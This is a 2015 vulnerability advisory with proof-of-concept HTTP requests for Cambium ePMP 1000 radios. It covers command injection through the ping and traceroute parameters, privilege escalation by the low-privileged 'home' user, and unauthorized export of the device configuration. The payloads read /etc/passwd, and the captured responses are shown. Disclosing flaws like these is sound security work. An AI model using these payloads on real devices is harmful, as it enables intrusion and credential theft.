Cambium ePMP 1000 Command Injection / Privilege Escalation

`*July 14, 2015: *First contacted Cambium  
  
*July 14, 2015: *Initial vendor response  
  
*July 16, 2015: *Vuln Details reported to Cambium  
  
*July 31, 2015:* Followup on advisory and fix timelines  
  
*August 03, 2015: *Vendor gives mid-Aug as fix (v2.5) release  
timeline. Ceases communication.  
  
*Nov 19, 2015: *Releasing vulnerability details & poc  
  
  
*Versions affected*: < v2.5  
  
  
.....  
  
*CVE-IDs* - To be assigned.  
  
.....  
  
  
*Background *  
  
http://www.cambiumnetworks.com/products/access/epmp-1000/  
  
  
  
ePMP™ 1000  
Wireless service providers and enterprises need reliable, high-quality  
broadband connectivity that can be rapidly deployed and expanded. The  
ePMP platform provides stable coverage across large service areas and  
enhances your existing infrastructure.  
  
  
*Deployed by:*  
  
  
ION Telecom  
Kayse Wireless  
Vanilla Telecom  
Traeger Park  
EszakNet  
Edera  
Videon  
COMeSER  
Seattle, WA  
Budapest Video Surveillance  
Desktop  
Silo Wireless  
Rocket Broadband  
Snavely Forest Products  
KRK Sistemi  
KAJA Komputer  
Root Media  
  
  
*Vulnerability Details*  
  
*From Cambium Networks ePMP 1000 user / configuration guide:  
*  
ePMP 1000 has four (4) users -  
  
- ADMINISTRATOR, who has full read and write permissions.  
- INSTALLER, who has permissions to read and write parameters  
applicable to unit installation and monitoring.  
- HOME, who has permissions only to access pertinent information for  
support purposes  
- READONLY, who only has permissions to view the Monitor page.  
  
  
.....  
  
1. *OS Command Injection *  
  
'admin' and 'installer' users have access to perform Ping and  
Traceroute functions via GUI. No other user has this access.  
  
Ping function accepts destination IP address value via 'ping_ip  
parameter and uses three (3) other parameters - packets_num, buf_size  
and ttl, to perform Ping.  
  
Traceroute function accepts destination IP address via 'traceroute_ip'  
parameter.  
  
The application does not perform strict input validation for all these  
parameters - ping_ip', packets_num, buf_size and ttl for Ping  
function; and traceroute_ip for Traceroute function.  
  
This allows an authenticated user - 'admin' or non-admin,  
low-privileged 'installer' & ‘home’ users - to be able to inject  
arbitrary system commands that gets executed by the host.  
  
.....  
*PING PoC *  
  
.....  
HTTP Request  
.....  
  
POST /cgi-bin/luci/;stok=<stok_value>/admin/ping HTTP/1.1  
Host: <IP_address>  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)  
Gecko/20100101 Firefox/38.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://<IP_address>/  
Cookie: sysauth=<sysauth_value>;  
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;  
userType=Installer; usernameType=installer; stok=<stok_value>  
DNT: 1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0  
  
[  
*or*  
  
ping_ip=8.8.8.8&packets_num=1|cat%20/etc/passwd%20||&buf_size=1&ttl=1&debug=0  
*or*  
  
ping_ip=8.8.8.8&packets_num=1&buf_size=1|cat%20/etc/passwd%20||&ttl=1&debug=0  
*or*  
  
ping_ip=8.8.8.8&packets_num=1&buf_size=1&ttl=1|cat%20/etc/passwd%20||&debug=0  
]  
  
  
.....  
HTTP Response  
.....  
  
HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,  
post-check=0, pre-check=0  
Cache-Control: no-cache  
Status: 200 OK  
Content-Type: text/plain  
Expires: 0  
Date: Sun, 18 Jan 1970 14:45:37 GMT  
Server: Cambium HTTP Server  
  
daemon:*:1:1:daemon:/var:/bin/false  
ftp:*:55:55:ftp:/home/ftp:/bin/false  
network:*:101:101:network:/var:/bin/false  
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish  
installer:<password_hash>:2000:100:installer:/tmp:/bin/false  
home:<password_hash>:3000:100:home:/tmp:/bin/false  
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false  
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false  
nobody:*:65534:65534:nobody:/var:/bin/false  
root:<password_hash>:0:0:root:/root:/bin/ash  
  
  
.....  
*traceroute - PoC  
*  
.....  
HTTP Request  
.....  
  
POST /cgi-bin/luci/;stok=<stok_value>/admin/traceroute HTTP/1.1  
Host: <IP_address>  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)  
Gecko/20100101 Firefox/38.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://<IP_address>/  
Cookie: sysauth=<sysauth_value>;  
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;  
userType=Installer; usernameType=installer; stok=<stok_value>  
DNT: 1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
traceroute_ip=8.8.8.8|cat%20/etc/passwd%20||&fragm=0&trace_method=icmp_echo&display_ttl=0&verbose=0&debug=0  
  
.....  
HTTP Response  
.....  
  
HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,  
post-check=0, pre-check=0  
Cache-Control: no-cache  
Status: 200 OK  
Content-Type: text/plain  
Expires: 0  
Date: Sun, 18 Jan 1970 16:09:26 GMT  
Server: Cambium HTTP Server  
  
daemon:*:1:1:daemon:/var:/bin/false  
ftp:*:55:55:ftp:/home/ftp:/bin/false  
network:*:101:101:network:/var:/bin/false  
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish  
installer:<password_hash>:2000:100:installer:/tmp:/bin/false  
home:<password_hash>:3000:100:home:/tmp:/bin/false  
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false  
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false  
nobody:*:65534:65534:nobody:/var:/bin/false  
root:<password_hash>:0:0:root:/root:/bin/ash  
  
  
.....  
  
2. *Weak Authorization Controls + privilege escalation*  
  
'home' and 'readonly' users do not have access to Ping and Traceroute  
functions via management portal. However, the application lacks strict  
authorization controls, and we can still perform both these functions  
by sending corresponding HTTP(S) requests directly, when logged in as  
low-privileged, 'home' user.  
  
When we combine this flaw with above described OS Command Injection  
affecting ping and traceroute, it is possible for non-admin,  
low-privileged, ‘home’ user to execute system level commands via  
'ping' and 'traceroute' functions and dump password hashes easily and  
/ or perform any system level functions.  
*Note*: ‘readonly’ user cannot perform this. Only ‘home’ user can  
exploit these.  
  
.....  
*Steps to attack -  
*  
a login as home user  
b craft & send HTTP request for ping and traceroute functions  
  
.....  
Login - HTTP Request  
..  
  
POST /cgi-bin/luci HTTP/1.1  
Host: <IP_address>  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)  
Gecko/20100101 Firefox/38.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://<IP_address>/  
Cookie: sysauth=<sysauth_value>;  
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D  
DNT: 1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
username=home&password=<password>  
  
  
.....  
Login - HTTP Response  
..  
  
  
HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,  
post-check=0, pre-check=0  
Cache-Control: no-cache  
Status: 200 OK  
Set-Cookie: sysauth=<home-sysauth_value>;  
path=/cgi-bin/luci/;stok=<home-stok-value>  
Content-Type: application/json  
Expires: 0  
Date: Sun, 18 Jan 1970 16:40:50 GMT  
Server: Cambium HTTP Server  
  
{ "stok": <home-stok_value>", "certif_dir": "/tmp/new_certificates/",  
"status_url": "/cgi-bin/luci/;stok=<home-stok_value>/admin/status }  
  
  
..  
*Sending HTTP request for Ping function  
*  
.....  
HTTP Request  
.....  
  
POST /cgi-bin/luci/;stok=<home-stok_value>/admin/ping HTTP/1.1  
Host: <IP_address>  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)  
Gecko/20100101 Firefox/38.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://<IP_address>/  
Cookie: sysauth=<home-sysauth_value>;  
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;  
userType=Home User; usernameType=home; stok=<home-stok_value>  
DNT: 1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0  
  
.....  
HTTP Response  
.....  
  
HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,  
post-check=0, pre-check=0  
Cache-Control: no-cache  
Status: 200 OK  
Content-Type: text/plain  
Expires: 0  
Date: Sun, 18 Jan 1970 14:45:37 GMT  
Server: Cambium HTTP Server  
  
daemon:*:1:1:daemon:/var:/bin/false  
ftp:*:55:55:ftp:/home/ftp:/bin/false  
network:*:101:101:network:/var:/bin/false  
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish  
installer:<password_hash>:2000:100:installer:/tmp:/bin/false  
home:<password_hash>:3000:100:home:/tmp:/bin/false  
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false  
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false  
nobody:*:65534:65534:nobody:/var:/bin/false  
root:<password_hash>:0:0:root:/root:/bin/ash  
  
..  
  
Similarly, Traceroute function can be exploited.  
  
......................................................................................................................................................  
  
3. *Weak Authorization Controls + Information Disclosure*  
  
In addition to 'admin', only 'installer' user has the option to access  
device configuration. ‘home’ user does not have GUI option and should  
not be able to access / download device configuration. However, the  
application lacks strict authorization measures and the low-privileged  
'home' user can gain unauthorized access to the device configuration  
simply by requesting it.  
*Configuration backup export* can be performed by directly accessing  
the following url:  
*http://<IP_address>/cgi-bin/luci/;stok=<homeuser-stok_value>/admin/config_export?opts=json  
*  
Upon a successful config export, full device configuration with  
clear-text passwords, usernames, keys, IP addresses, statistics, logs  
etc is downloaded.  
  
HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,  
post-check=0, pre-check=0  
Cache-Control: no-cache  
Status: 200 OK  
Content-Type: application/json  
Content-Disposition: attachment; filename=<filename>.json  
Expires: 0  
Date: Sun, 18 Jan 1970 16:50:21 GMT  
Server: Cambium HTTP Server  
  
{  
"template_props":  
{  
"templateName":"",  
"templateDescription":"",  
"device_type":"",  
  
…  
<output - snipped>  
…  
}  
  
.....  
  
  
Best Regards,  
  
Karn Ganeshen  
  
--   
Best Regards,  
Karn Ganeshen  
  
  
`